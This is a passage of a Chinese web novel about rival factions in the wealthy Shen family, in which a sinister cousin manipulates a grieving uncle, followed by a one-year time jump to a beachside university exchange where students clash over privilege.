说着,转头看向沈澈,“阿杰的身后事沈家会处理,你是继续闹还是留下来送你儿子最后一程,自己选。” “……” 沈澈死死攥拳,他想一走了之,却又放不下心中的牵绊,他从未有一刻像眼前这般恨过自己,要不是他如此无能,也不会两个孩子都保不住。 最后,沈澈低下了头,咬牙咽下了这口气。 …… 新裙已开~欢迎来撩~ 第645章 蛊惑人心的毒蛇 沈家对外宣称沈亦杰是因病去世,三天后便送回了襄英老宅入土为安。 他的死并未在鲸港掀起多大的水花。 反而是白家女王一连三日连登沈园让鲸港高权们暗流涌动。 不明所以的人纷纷猜测女王是真看上了鲸港嫡公主,铁了心想游说沈家老爷子割爱。 一时间,姜花衫的地位更加水涨船高。 * “祖母,怎么样?那家伙还是不肯见您吗?”白密掐着点守在主厅,眼见白朱拉脸上毫无喜色,便又猜到了今天的结果。 这已经是女王第五日登门了,听说沈归灵伤情已经大好,现在还能出来采风,但这五天她挨个见完了沈家所有人,唯独沈归灵一次都没有露过面,显而易见是在躲着她。 白朱拉轻叹了一声,眼里满是质疑,“到底是哪里出了问题?” 再去几天,她和沈庄都没话可说了,以那老狐狸的敏锐,定然会察觉什么。 白密摊手,“还能是什么问题,人家根本不想回来呗。” 白朱拉皱眉,细细思索了片刻转头打量起白密,“你们年纪相当,你给祖母分析分析,那孩子到底是怎么想的?” 白密摸了摸下巴,“我原以为他是不知道自己的身份才对我如此冷淡,但若是按您说的,他早就察觉了,这事恐怕没这么简单。” 白朱拉,“说下去。” “祖母,您想啊,正常人知道自己是异国流落的王子是不是会立马回来抱大腿?显然这沈归灵就不正常!” 女王不乐意了,“白家你还有资格说别人?” “……”白密被气笑了,“祖母,我可在您身边孝敬了十九年,那家伙一天都没有待,您是不是偏心偏得有些过了?” 女王,“你也知道我已经对着你这张脸看了十九年了?什么感情都淡薄了,阿灵可不一样,他才新鲜出炉。” 白密嗤笑了一声,什么新鲜出炉?沈归灵又不是包子。 “继续说。” “是。”他吊着嗓子应了一声,又继续分析: “回归白家,沈归灵能得到的无非是权势,但这些,他现在已经有了,您也看到了,就算没有白家,以他的能力迟早能闯出一片天地,为了唾手可得的东西,要去面对一群陌生人,去赌一个前途未卜的王位,我若是他,也提不起半分兴趣。” 王冠加冕自然令人向往,但走向王座的过程哪条路不是尸骨累累,沈归灵清醒的很,谁都别想做他的主。 “陌生人?”女王神情有些复杂,“他是白家的孩子,白家于他怎么能算是陌生人呢?” 白朱拉完全没有意识到,她身为白家人淡薄的血脉羁绊莫名被沈归灵唤醒了。 白密像见鬼了一样打量眼前的长者,“他出生就流落在A国,在他过去的二十年里根本没有白家的记忆,我们于他就是陌生人。” 白朱拉虽然不想承认,但她自己也明白了沈归灵情愿留在沈家寄人篱下也不会跟她回白家的原因。 女王很快接受了这个事实,摆摆手,“行了,让帕塔妮安排一下,我们回S国。” 白密没想到女王这么豁达,略有些意外,“您这是打算放弃了?” 白朱拉摇头,温如茶色的眸光闪过一丝奇异的柔光。 “等吧,他现在还小,等有一天沈家给不了他想要的东西,他自然就回来了。他是白家的孩子,我们的先祖神明会替他引路。” 就在鲸港众人暗暗揣测白家到底想做什么时,白朱拉带着长公主连夜飞回了S国,她甚至没有向沈家辞行,一系列的迷之操作,让鲸港老谋深算的权谋者直呼看不懂了。 白家和沈家到底打的什么主意? * 襄英老宅。 沈澈虽被赶住了沈家,但襄英的房契和田庄是他成年后自己置办的,沈庄并未收回,这段时间他一直窝在老宅。 距离沈亦杰的死已经过去了大半个月,但沈澈仍然无法从悲伤中抽离。 当年,他就是害怕自己会牵连两个孩子,所以才早早把两人送了出去,没想到最后还是白发人送黑发人。 沈澈胡子拉碴,抱着沈亦杰的灵位一会儿哭一会儿笑,“阿杰,我不是让你不要回来吗?为什么你偏偏这么固执?” “他若不回去难不成靠你给沈亦泽报仇吗?” 突然,房间外响起一道低沉阴冷的男音。 沈澈当即变了脸色,目光狠厉看向门外,“谁!” “呵呵……”那人轻笑了一声。 眼前的木门缓缓推开,光影处走出一道身量高挑的人影。 “四叔,好久不见~” 沈澈眼底的闪过一丝错愕,满脸不可置信,“是你?你怎么会在这?老爷子……” 男人一脚跨过光影,白皙的脸上透着几分病态的阴郁,但他的嘴角一直在笑,“所以,我是偷偷来的,四叔可千万不要告诉爷爷。” 沈澈突然惊醒,抱着沈亦杰的灵牌,一脸忌惮看着眼前的男人,“阿年,你想干什么?” 沈年绕过沈澈,面带微笑,“听说阿杰死了,我来看看。” 沈澈紧紧攥拳,眼前的沈年让他想到了毒蛇,他虽然一直在笑,但笑容里却满是恶意和戏谑。 沈澈至今都忘不了,当年他们赶到高架时的情景。 当时五辆豪车相撞,地上躺着三名无辜的受害者,就因为其中一人指着沈年骂了句害群之马,他立马开车从受害者的身上压了过去,因为事发突然,所有人都没有反应,等众人回过神准备阻止时,轮胎下的两人已经变成了肉饼…… 那个时候,沈年眼神就像现在这样,没有半点害怕,兴奋又恶劣。 见沈澈目光不善,沈年主动点了三根香,随手扇灭火星,对着空荡荡的灵位虔诚俯拜。 三拜毕,他手持线香转头看向沈澈,“四叔,你想知道阿杰和阿泽是怎么死的吗?” …… 第646章 一年后见 沈澈神情扭曲,死死看着他,“你知道?” “当然,”沈年笑得意味深长。 “他们杀了沈娇准备撤离,不巧在路上碰见了姜花衫,是姜花衫开枪杀了阿泽。阿杰放不下仇恨,不顾劝阻非要入沈园找姜花衫算账,但他实在是太弱了,报仇不成还被反杀了。” 沈澈死死攥拳,咬着牙一字一句吐出,“是、你、蛊、惑、了、他、们?!” 沈年摇了摇头,一脸惋惜,“我已经劝过他们了,但他们不听劝,所以我也没有办法。” “是你!一定是你!!”沈澈牙眦欲裂,眼底满是血色,看上去十分渗人,“阿杰和阿泽远离鲸港,他们为什么要杀沈娇?是你!!!” 沈年笑了笑,神情疑惑,“四叔,你难不成是年纪大了,记性退化了?你忘了,是你要杀沈娇的,你联合周元白做了未央台的杀局,他们是去帮你的。” 这话仿佛是一记重锤狠狠击碎了沈澈的所有的支撑,他摇头,努力控制情绪,“不可能,我从未和他们说起过鲸港任何事,不可能……” “怎么不可能?他们从五岁就被你送出沈家,是四叔你告诉他们的,沈园现在很危险,等你扫清了一切障碍就会接他们回家团聚。小孩子是最单纯的,你说什么,他们就信什么?” “不是!不是!”沈澈低头看着手里的灵牌,压抑了半个月的泪水在这一刻决然落下,“怎么会这样?怎么会这样?” 沈年弯下腰,轻声道,“他们原本也不想听我的,但是我告诉他们,我能帮他们知道你在干什么,他们就顺从了。你这些年暗地里做的那些事,他们都知道,包括你争权失败失去政途和商道。但很奇怪,他们不觉得你无能,他们只觉得沈家人在欺负你,因为他们一直坚信,等你扫清了障碍就会接他们回家。” 沈澈此刻已经泣不成声,“不要说了,不要说了。” 沈年轻叹了一声,“可怜啊,他们还是太年轻了,不然也不会到死都不明白,他们的父亲只是无能,无能到斗不过一个女人,无能到第一个被踢出沈园,无能连亲生儿子被杀都只能袖手旁观。” “我叫你不要说了!!”沈澈咬着腮帮子,脸上肌肉颤动。 沈年丝毫不以为怵,直起身,居高临下打量他,“已经说完了,四叔还有什么想问的吗?” 沈澈咽下喉间的腥甜,“你究竟想干什么?” 都这样的还能如此清醒,哪怕是沈家的次货也比普通人强。 沈年挑眉,“我是来提醒四叔的,阿杰和阿泽死得冤,你记得替他们报仇。” 沈澈抬眸,猩红的眼眶带着满满的恨意,“这样你就能坐收渔翁之利了?沈年,别以为我不知道你打的什么主意。” “四叔,你儿子都没有了,孤家寡人,你还在乎这些渔翁之利吗?” 沈澈眸光渐冷,是啊!他不在乎了,名利、地位、权势他都不在乎了,他只要杀死阿泽和阿杰的人偿命。 可是,他如今已经被赶出沈园了,没有了沈家的加持,他如何能报仇?! 沈澈沉默片刻,抬眸打量沈年,“你有办法?” 沈年笑了笑,“四叔,您真是一手好牌打得稀烂,您别忘了,当初爷爷为什么会娶三房?您没了沈家还有李家啊?您可是李家嫡出小姐的长子,阿泽和阿杰是李夫人唯一的的男孙。” 沈澈眼底闪过一抹暗色。 “不过……若只走这步棋未免常规了一点,我还有个办法能让计划顺利些。” 沈澈看着他,没有接话,他知道眼前的人是条毒蛇,但毒蛇有毒蛇的用法,只要能替他的孩子报仇,他也愿意成为毒蛇。 沈年将手里的线香递给沈澈,幽幽道:“迄今为止,除了我和你,没有人知道阿泽死了,去了李家您总要个帮手不是?我给您推荐个人?” * 半个小时后。 天空下起了大雨,雨里夹杂着雪花如柳絮般飞扬。 沈年推开房门,锃亮的皮鞋踩着低坑的水洼,头也不回出了院子。 小院外一辆黑色的轿车已经等候多时,沈年跨出院门直接进了黑车。 “老板,去哪?” “姚公馆。” 汽车缓缓前行,因为是巷口,车速并不快。 突然,一个五六岁的男孩从角落钻了出来,司机吓得紧急刹车。 男孩追着皮球跑了一段,回头盯着车牌仔细打量。 “老板?” 沈年拿出手机,语气甚是平淡,“处理干净。” 司机会意,再次发动汽车,小男孩这才反应过来,抱着皮球退让到一旁。 车辆与男孩平行后,继续缓缓前行。 “球球!” 胡同里忽然响起一道女人的声音,沈年抬眸,借着反光镜清楚看见一个穿着棉袄的女人蹲身抱起孩子。 男孩似乎跟她说了什么,没一会儿,母子两人抱作一团笑了起来。 沈年皱了皱眉,“一起处理。” 司机愣了愣,往后视镜瞥了一眼,低头应道,“是。” 过了片刻,沈年又抬起头,言语间有些烦躁,“不去姚公馆了,回S国。” 司机又应了一声。 他沉默了几秒,继续低头看手机。 此时聊天室里已经吵翻了天。 -【S:沈亦杰是J?】 -【H:这不明摆着的吗?其余人身份藏好了,接二连三的死人,这么看来组织也不可靠。】 -【N:死的竟然是沈家人?你们不觉得刺激吗?】 -【Y:七个人的聊天室一下死了两个,管理员,是不是该进新人了?】 -【H:不是还有个一直潜水的?叛徒?】 一个个的! 沈年捏了捏眉心,指尖飞快。 -【管理员:新人已经发函,请大家保持警惕,两年后见。】 * 与此同时的M国。 地球的另一端,正是盛夏灿烂时节。 管理员女士看了一眼快递信息,涂着猩红指甲的胖手一把抓过手里的摇铃。 “铃——铃——铃——” “三排七室萧澜兰,你的包裹。” 管理员女士扯着嗓门喊了一声便又躺了回去,她身材壮硕,走一步都费劲。 等了一会儿,不见有人下来,女士不免有些暴躁,拿起教鞭正要起身,一个穿着棉麻长裙的女人突然遮住了她眼前的光影。 “来了……” …… 第647章 新剧目开始 【叮——】 【根据您的剧目表现,现已为您生成最新标签:创新者】 【当前人物姜花衫,性格标签:癫、懒、通透、貌美、超级英雄、创新者】 【叮——】 【剧目世界将为您开启最新篇章,请保持主线完整,勿崩剧情。】 一年后。 细白的沙子铺开,沿着水线伸展而去。白浪涌上,温柔地舔过沙滩,又悄然退去,只留下几行湿漉漉的印痕。不远处,几株椰树斜向海面,树干苍劲,闲散地伫立着。叶羽在风里轻轻摆动,筛下细碎摇动的绿影。 沙滩上人影跃动,一群年轻的男女们总是有使不完的劲,不是在 热辣的太阳下打沙排球,就是纵身在翻腾的海浪中尽情俯冲,日头渐高,汗珠与浪沫同飞,各式各样的尖叫声喧腾于涛声之间。 “哎~年轻人呐,等以后老了她们就知道了,青春最盛的时候就该躺着,都是瞎折腾。” 宋溪看着抱着椰子躺在窗边晒脚丫的女生不觉好笑,她真的从来没有见过比她室友还懒的人,毫不夸张,从高校联盟接触到现在,她基本没见过这位用两条腿站着,要不是刚选房那会儿,她亲眼看着这姑娘是自己走进屋,她差点都要怀疑她是不是哪里有缺陷? 一起待了三天,宋溪也感觉到了这姑娘只是看着不好相处,其实人并不坏,这屋里现在就是她们两人,她要一直不说话,气氛会显得有些奇怪。 于是她顺口说了句,“现在这个时候的光线特别好,导师布置的写生作业你画完了吗?群里说明天就要交了。” 但这位新室友从开学就旷课,已经过了两个学期,班里的同学一个半都不认识,所以,宋溪猜测以新室友的惰性,应该还没有加群, 姜花衫原本只是无聊感叹一句,没想到一直装哑巴的室友突然跟她说话,她迟疑片刻,取下墨镜歪头打量,“你在跟我说话?” 宋溪有些恍神,说实在的,她从未见过比这位新室友长的还好看的女生。 人人都说鲸港嫡公主是A国最漂亮的美人儿,宋溪觉得那是他们没见过她的新室友。 她清咳了一声,有些不好意思,“那个,我们不是故意不跟你说话的,主要是……哎~其实,我们还挺不好意思的,我、小禾、莎莎商量好了,晚上请你一起吃饭,欢迎你加入我们的新集体,之前的事,希望你别放在心上。” 周溪口中说的小禾、莎莎,是寝室另外两名成员,孙禾,夏莎。 高校联盟的名额一般是通过学术分积累才能被选中,但姜花衫第一个学期几乎都是旷课,别说学术分,连德行分都积累不够,以前学校出现这种情况都是保留学籍做降级处理,而她不仅没有降级,还占用了尖子生的名额,学院派多是追求艺术的理想主义者,对这种用特权碾压规则的行为尤其唾弃,所以当姜花衫提着行李突然出现时,寝室另外三人都有些抵触。 不过,她们也只是起初有些偏见,但后来相处发现姜花衫没什么架子,对于大家提前制定好的寝室规则也很遵守,渐渐地,也就放下了芥蒂。 “小禾?莎莎?” 宋溪见她一脸疑惑,不由一愣,“就是寝室另外两个女生啊,高个子皮肤黑一点的那个是孙禾,稍稍圆润可爱一点的是夏莎。” “那你是?” 宋溪肩膀微垮,“宋溪,宋朝的宋,溪水的溪。” “哦~”姜花衫点头,“不过,好端端的,你们为什么要请我吃饭?” 这一问倒是把宋溪问糊涂了,她们只是觉得这么冷漠新室友,整得像大家一起霸凌新人似的,但她们并没有这个意思所以才想缓和一下。 姜花衫恍然,摆摆手,重新带上墨镜,“不用了。” 宋溪以为姜花衫不屑与她们为伍,勉强笑了笑,“那……行……” 姜花衫,“第一次聚餐哪有蹭饭的道理,还是AA吧。” 虽然她也想用钞能力让大家臣服,但她已经感受到这个寝室似乎不喜欢特权者,在别人没有彻底释放恶意之前,她都是会选择尊重的。 宋溪一愣,复儿长舒了一口气笑了起来,“你这口气喘的……行,AA就AA,你有什么想吃的吧,我们商量着去银滩那边看看,那里有许多宝藏小店。” 姜花衫打了个哈欠,“都行。我不挑。” 话刚说完,口袋里的手机发出一连串震动。 姜花衫懒懒拿出手机,四人小分队里,苏妙背着小喇叭挨个艾特人。 -【我命油我不油天:我在珊瑚滩那边定了个位,你们学校的事情应该都安顿好了吧?今晚我做东,一起聚聚?】 -【君临天下:行啊,正好不想看见周围这些傻逼了。】 -【沈眠:好。】 -【关你peaCe:今晚没空,寝室聚餐?】 -【我命油我不油天:她们前两天不是还把你当透明吗?怎么突然要聚餐,不会是知道你的身份开始巴结你了吧?】 -【君临天下:去可以,但你别忘了跟谁是天下第一好。】 -【沈眠:去哪?】 从十八岁之后,沈庄不再限制沈眠枝的发展,将原本预留给沈亦杰和沈亦泽的李氏暗卫都转交给了沈眠枝,虽然她的实力还不能和沈让相比,但比起以前已经不知道进步了多少。 沈眠枝拿到李氏暗卫的控制权后,大刀阔斧进行了一系列改革,虽说中途也遇见过波澜阻力,但最终都有惊无险度过了,沈娇对她的能力很是欣赏,把转投暗堂一部分资金拿去投资了沈眠枝,惹得沈让都直呼压力太大。 这次高校联盟汇聚A国所有名校精英,沈娇深怕姜花衫和傅绥尔再出什么事,特意嘱咐沈眠枝盯着。 姜花衫想了想,将银滩定位发了出去。 -【君临天下:怎么去这种犄角旮旯?银滩要走很远的,连观光车都没有,你确定你能走过?】 -【沉眠:不是没有,是被其他学院的人调去珊瑚滩了,鲸岛三区,最好的中心区域珊瑚滩基本都是鲸港一线高校的学生在活动,金滩被四湾的超一流名校霸占,其余学院只能被赶去了银滩。】 -【我命油我不油天:你还是别去了,我位置都定好了,你带室友去吃呗,反正珊瑚滩的人没人不认识你。】 姜花衫从登岛以后就没出过门,万万没想到外面的世界竟然如此凶残,不觉挑了挑眉。 几人聊天的功夫,宋溪已经收拾完准备出门了,她刚走到门口,忽然想起什么又折了回去,“那个,银滩有些远,我现在出去跟他们谈谈租车的事。” 之前走都是一声不吭,现在竟然还知道主动打招呼。 姜花衫抬起头藏在墨镜下的眼珠转了转,很是随意掏出她的记名卡,“不是说好了AA吗?那这个租车的钱我也应该要付,要不他们不租,你就刷我的卡。” “不用了。” 宋溪摆摆手,她实在是不忍心告诉姜花衫,要是那些人可以刁难,刷谁的卡都一样,她的这位室友一看就是被养的很好的千金大小姐,大门不出二门不迈,哪受过什么委屈? “拿着吧,实在不行给我打电话,我自己去刷。” 姜花衫顺手将卡扔进她的怀里。 …… 宝宝们,新裙已开【点主页申请,耐心等待即可~】 一年后拉开修罗场剧目了~ 第648章 鲸港第一富 一辆黑色轿车从高架转下直向山巅,车门打开,里面的人几乎是跳下车门。 “快去通知,我有重要的事要见沈老先生。” 从黑色轿车驶入山脚便已经进入了沈家的监控范围,院外早有人恭候多时,等确认来者身份后,郑松立马将人带去了沁园。 十分钟后,郑松大步走出沁园。 半个小时候后,沈谦、沈澈、沈让几乎同一时间到达沈园,三人马不停蹄赶到花厅时,沈娇早已入席。 沈谦环顾一圈,这才发现堂下坐着的人是鲸港警署厅总厅长,蔡严。 警署厅负责的是整个鲸港的治安,蔡严这个时候出现在这,难道是出了什么大事? 沈谦面上不显,小心翼翼看了沈庄一眼,“爸。” 沈庄神色沉然,“都坐。” 说着转头看向蔡严,“你把你刚刚说的再说一遍。” “是。”蔡严恭敬点了点头,侧身看向众人,“是这样的,近日来警署厅接二连三的接到家属报案,说是家里的小孩被绑架了。一开始,我们只当做是普通绑架案处理,但所有报警的人越来越多,截止到目前为止,绑匪索要的金额已经累计到了三亿,不仅如此,绑匪的作恶地域也渐渐从A国四周向鲸港延伸。” 沈谦立马就意识到了事情的严重性,“什么时候开始的?一共有多少起案件?” 面对顶头上司的质问,蔡严显得有些惭愧,“一个月前,已经有五个家庭报案了,考虑到受害者有可能受绑匪胁迫会存在不报警的行为,我们现在已经加派的警力。” 一个月五起? 众人脸色微变,瞬间就明白过来为什么蔡严要亲自上门传信,这种新闻是不能公开的,一旦公开很容易引起富贵层的恐慌,若是新闻媒体再放肆曝光,人质极有可能会被灭口。 所以,为了以防万一,蔡严不得不亲自上门给沈家提醒。 沈谦,“这件事还有谁知道?” 蔡严,“除了警署厅的高层,就是案发时间当地的警署厅了。我一得知绑匪可能向鲸港聚拢,第一时间来过来了。” 沈澈翻了翻手里的资料,表情淡淡,“这些受害者都是些小有资产的富商,他们的防患意识并不强,所以才很容易被绑匪得手。”说罢,一脸自信看向沈庄,“爸,我看这事也不用太担心,沈家名声在外,那群人歹徒就算想招惹只怕也没那个胆。” “是是是。”蔡严连忙点头附和,“在A国谁不知道沈二先生说的是。” 其实在蔡严心里,他并不觉得这群绑匪敢挑衅A国的第一世族,但不怕一万就怕万一,万一绑匪是个没长眼睛的,就招惹了,那于他们可是天大的祸事。 所以一分析出绑匪转移的方向,他立马登门汇报情况。 未雨绸缪,总错不了。 沈娇凝眉思忖片刻,表情严肃,“你说他们绑了五个人,勒索了三亿还没有停手?” 蔡严点头,“是。” 沈娇越想越不对劲,抬眸看向沈庄,“爸,这事不对劲。您想想,三亿这个数字已经不小了,正常情况得手后应该想着如何逍遥法外,但这些却还在不停地勒索,说明他们一开始就是奔着钱去的。” 沈澈,“这不是废话吗?都绑架了还能不是为钱?” 沈庄一直没有表态,闻言淡淡扫了沈澈一眼,沈澈察觉到那神色里的厌恶,他立马噤声不敢多言。 沈娇这才又补充道,“我有个很大胆的假设,或许绑匪之所以往鲸港来,是因为他们嫌边城的肉票不够金贵,他们想来鲸港干票大的。若是这个假设成立……那么最可能成为绑匪目标的就应该是鲸港城里最富足的那个。” 不巧,一年前金山投资大热,她为姜花衫和傅绥尔买的那两块地如今已经翻了三倍不止。 * 第649章 替身文学 “这个新室友好像来头不小啊?” 宋溪看了着手里的卡,又回头看向紧闭的寝室门,不禁在心里犯起了嘀咕。 不过就算来头再大,也跟她们没有关系。 这么想便立马收敛了心思,转身出了住宿楼。 高校联盟的宿舍都是按照学院分区的,小椰林区这边都是鲸港美院的学生。 宋溪刚走到浅滩,便看见一群穿着鲸港美院T恤的同学拥簇一团,对面是四湾贵族学院的学生。 她找了许久才发现室友的身影,想也没用小跑着上前汇合。 “怎么了?怎么吵起来了?” “小溪,你来了?新室友呢?”夏莎四处张望了一圈没见着人,不免有些疑惑,“不是说她答应一起吃晚饭了吗?” “答应是答应了,但没说一起来租车,不过她把她的记名卡给我了,说是AA。” 说着,宋溪踮着脚尖探向对面的人群,“怎么了?还没有交涉好吗?” 孙禾一边用手扇风一边抱怨,“那些人忒不讲道理的,我们只说让出原本去银滩的车辆,他们却说金滩也要用。他们就住在海景区,步行到沙滩不过五分钟,从这去银滩,就算有车也要半个小时。” 过分的何止是这些,说是交涉,但对面的人霸占了凉亭木屋,而他们却只能顶着40度的高温在烈日暴晒。 夏莎晒得脸颊两侧都红温了,语气愤愤不平,“他们要是说不通,咱们也不要退让了,就在这吃,真走过去人都要烤熟了。” 孙禾,“还是算了,听隔壁寝室的同学说,昨天他们去金滩吃饭,结果菜没上不说,还被一群少爷小姐当成猴子围观戏耍,挺膈应人的。” 宋溪皱眉,“实在不行,咱们把问题反映给导员吧?让学校处理。” 周围的同学立马出声,“怎么没说?导员说他们也没做什么,租车服务是第三方自愿,学校也干涉不了。” 这边正说着,那边前去交涉的同学垂头丧气走进了人群。 “他们说哪怕步行一分钟他们也需要租车,岛上资源有限,他们已经加价给租车公司了,如果我们要用车,那就双方一起竞价,价高者得。租车公司早就被他们说服了,一直推说自己要生存没办法。” 价高者得? 谁能跟一群败家的少爷小姐比钱多,这不纯纯找罪受吗? 鲸港美院不是没有有钱人,但总体比例不高,唯一的一两个早就回到他们的发小圈了,剩下家底丰厚的顶多算是小资往上,和那种资产积累了好几代的家族根本不能比。 这可怎么办? 难怪之前学长学姐谈起高校联盟都避如蛇蝎,原来是早就被人上了一课。 众人不免有些泄气。 “跟他们竞价,这里一共二十辆车,我们所有人合力拿下一辆就行了。” “要这么回去,岂不是永远要被人当成缩头乌龟?!!” 人群里也不知是谁一声怒吼,随即响起此起彼伏的应和声: “对!联盟会才刚刚开始,咱们要现在就这么回去了,以后还能有好日子过?!” “这叫服从测试,要是今天退了,他们只会一步一步压榨。” 这话就像一簇火星窜进了石油,人们的压抑多日的怒火瞬间被点燃。 宋溪几个相互看了看,默默点头,随即举手加入附和大军。 四湾那边的学生们见状,个个捧腹大笑了起来。在他们眼里,低位者的挣扎就像跳梁小丑一般可笑。 * 与此同时,珊瑚滩。 海风徜徉,四面环海的岛中岛占尽天然优势,垂钓、潜水、冲浪,沙滩上的年轻男女一派度假的悠闲模样。 “嘘~”关鹤一左一右搂着两个比基尼美人儿,取下骚气的墨镜对着周宴珩挑眉,“怎么一个人坐在这里?嗨起来啊~” 周宴珩暗灭手机,抬头扫了一眼,扯着嘴角笑了笑,“你这什么造型?” 关鹤松开美人儿,取下头上的花环扔进他的怀里,笑得一脸邪性。 “这可是我凭本事抢到了KING冠,别说我不够义气,借你玩玩,有惊喜哦~” 教育部把A国所有名校的学生汇集于此,本意是学术交流,但经过几十年的历史,这里已经早已经衍生出了不同形态的关系链。 有像金滩大鱼吃小鱼的游戏,也有珊瑚滩的国王游戏。 岛上汇集了名门的新一代,不少平民貌美女生都将这视为弯道超车的绝佳时机,反正都是要睡,不如睡最有权势的那个。 所以,不少女生会把自己打扮得花枝招展来珊瑚岛博一个机会,哪怕只是露水之情,为自己谋个好前程也未尝不可。 正是因为如此,不少世家少爷都很痴迷珊瑚岛的国王游戏。 当然,这种事上不分男女,与国王游戏对立的还有女王游戏,只不过世族门第最重名声,女生们即便要玩也不会像关鹤这样大张旗鼓。 周宴珩拿着怀里的花环打量了一番,语调漫不经心,“什么惊喜?” 关鹤贱贱笑了笑,击掌三声,四个身材火辣、肤白貌美的比基尼少女鱼贯而入。 周宴珩抬眸,原本戏谑的眸光忽然一怔。 关鹤看出他的变化,笑嘻嘻凑上前,“怎么样?像吧?看那个,鼻子和下巴简直是一个模子刻出来的。” 周宴珩皱眉,拿起手里的花环对着关鹤的脸拍了拍,“上哪找的这么多冒牌货?” 关鹤原以为周宴珩会照盘全收,没想到竟然是这反应,不免有些败兴,一把抢过他手里的花环又重新给自己戴上。 “我哪知道?就突然很多这样的脸,我他么还特意给你留了四个最像的。” 周宴珩懒得理他,挑眼看着眼前四个女生,“整的?” 女生们顿时有些尴尬。 自从一年前姜花衫大火后,A国的整形医院都是她的模板,不少女生DO脸都是一比一复刻,所以难免有些相像。 但这种像,也只是乍一眼相似,完全没有本人十分之一的神韵。 “你怎么这么问人家美女,太没礼貌了。” 关鹤站起身,长臂一挥左拥右抱,“不理他,我们玩。” “站住。”周宴珩冷笑,站起身一把揪住关鹤的脖子。 关鹤眼睛顿亮,“我就知道你小子口是心非,这年头不都流行替身文学吗?你就养个当宠物玩,都憋了一年……呜呜……” 话没说完,周宴珩手掌收力,拽着他丢了出去,目光冷冷扫向眼前的女生们,“别让我再看见你们。” 他的势气慑人,女生们想也没想,几乎是落荒而逃。 “我草!你他妈疯了!你不要也别赶人啊,我还想……” 周宴珩回头,撩着眼睑看着他。“你想什么?” 完了! 关鹤嘴角讪讪,“逗你玩了!我踏马又不是变态,姜花衫就是我的灾星,老子对着那张脸根本……” 生怕又被教训,他立马捂住嘴,“都是男人,你知道就行。” 周宴珩懒得理他,转头出了玻璃房。 “阿珩!” 关鹤立马起身去追,刚跨出一步,便看见周宴珩双手插兜和那位总统千金撞了个满怀。 …… 第650章 男朋友 “阿笙,你没事啊?” 苏韵和余笙正聊得起劲,余笙一时不防,不小心撞进了周宴珩的怀里,苏韵愣了愣,连忙把余笙拉了回来。 余笙原本还有些怔愣,突然腕间传来一阵刺痛,她不由一愣,多看了苏韵一眼。 自从一年前的生日宴后,两人便有了交集,她们一个是从泥泞里爬出来的贵族小姐,一个是从血路厮杀上来的总统千金,对事态的独到见解总是惊人的相似。 白首如新,倾盖如故,渐渐地,她们从彼此身上都看见了自己的影子,关系也越发变得亲密。 能在珊瑚岛瞎逛的都是鲸港上层圈的老熟人,苏韵因为之前的事对周宴珩一直心有芥蒂,哪怕事情已经过去这么久,她依旧像警惕毒蛇一样防备周宴珩。 周宴珩一眼就看出了苏韵在想什么,撩着眼睑轻轻拍了拍肩膀,冷冷越过两人。 余笙表情难看,这个周宴珩真是越来越目中无人了,没等她回过神,关鹤吹着口哨从两人眼前溜了过去。 “哦~总统小姐,忘记提醒你了,阿珩不喜欢投怀送抱的女人。” 余笙立马摆正脸色,“关少爷,污者见污。” 关鹤瘪嘴笑了笑,眼梢带了苏韵一眼,摆摆手,“那,回见。” 待讨厌的人影消失,苏韵才缓和了神情,小声道,“走吧。” 余笙点头,两人并肩来到灯塔下,风从海面卷来,裹着盐粒与凉意。 “阿韵,你和周宴珩之间是不是有什么不愉快?” 方才苏韵的反应太大,明眼人一看就有问题。 “嗯。还有一点。他不是好人,你一定记得离他远点。”苏韵看着对面的海岸线,迟疑片刻还是选择了隐瞒那些至暗经历,这一刻,她知道,她从赵棠那学来的教训这辈子都不可能释怀了。 余笙知道一点关于苏韵的过去,但也仅限媒体播报的那些,见她不愿提便也没有问,笑着拍了拍她的肩膀,“知道了。” 两人沿着海边一直散步,不知不觉就走到了金滩,彼时四湾贵族高校和鲸港美院的学生正吵得不可开交,双方谁都不让隐隐有肢体冲突的趋势。 “怎么闹起来了。” 余笙思忖片刻,正准备上前劝解,她是总统千金,一言一行都会被刻意放大,若是视而不见说不定转头就会有不良媒体胡乱传播。 “别去。” 苏韵一拉住她,朝她使了个眼神。 余笙这才发现,有个老熟人正坐在四湾贵族群里看热闹。 苏韵小声道,“鲸港圈的人谁不知道姜花衫在鲸港美院,傅潇潇带着人为难美院的学生,明显是冲着姜花衫去的。霸凌的根本原因是上位者无良,除非你能一次性解决四湾这些霸凌者,否则你这个时候出头除了得罪傅潇潇没有任何意义。” 余笙心中顿时五味杂陈。 还有一年就是总统大选了,她不能在这个节骨眼一次得罪所有的四湾权贵,余家如今之所以在港立足,都是因为余斯文的总统之位,若是不能连任,他们很快就会被踢出上层者决策圈。 “走吧。” 余笙当机立断,拉着苏韵转身往回走。 两人回到中心岛便各自回房。 中心岛的住宿条件是整个鲸岛条件最好的,几乎都是独门独户,还配一个私人管家。 余笙回到房间后,眉宇间的疲色一扫而空。 她垂眸思忖了片刻,立马从口袋里拿出手机,指尖随意点了点便跳入了聊天室。 在线人数:5/7。 还是,一年前新人进来后就一直是不在线状态,而且迄今为止,那个新人都没有共享定位。 说到定位,余笙眼里的眸光愈发深沉。 从她登岛之后,便发现她和H、Y的定位重合了,说明他们现在就在同一个岛上,这三天她到处闲逛,就是想看看能不能找到有关其他成员的线索。 但这只是其一,最重要的是,一年前J突然在沈园暴毙,她隐隐有些怀疑成员里还有一个人跟沈家有关, 沈亦杰暴毙后,沈澈立马带着沈亦杰投奔里S国的李家,如今沈家的男孙就只剩下沈年、沈兰晞、沈归灵、沈清予。 原本她怀疑Y是沈清予,但沈清予从军政学院退学后转去了西湾读哲学,他现在正在Y国的圣经教堂进修,这些信息明显对不上。 那就只剩L了。 L? 余笙眸底闪过一丝逆光,不知怎么回事,脑子里不自然就浮现出一张惊艳如神邸的脸。 自从一年前他入伍南湾舰队后,鲸港便再没有了他的消息。 他神秘的好似失踪了一般。 怎么又浑想了,余笙强行拉回思路,盯着灰色的L字母看得出神。 * “挂了,我室友马上要回来了。”姜花衫无精打采对着镜头摆摆手。 视频里,沈归灵坐在礁石裂痕纵横的背脊上,藏青制服被海风灌满,肩章金穗在暮色里灼着最后的光。浪从深渊处扑来,撞碎在脚底,溅起的水雾蒙上裤线笔直的纯白。 他故意凑近,眼睛直勾勾盯着镜头,“她们不准你在寝室和男朋友视频你就不视频?你什么时候这么守规矩了?” 姜花衫,“……” 第651章 剧情偏差 一年前,两人达成联盟关系没多久,沈归灵就去了南湾舰队。海舰作战队要求绝对保密,哪怕是长官级别手机都会被监控。 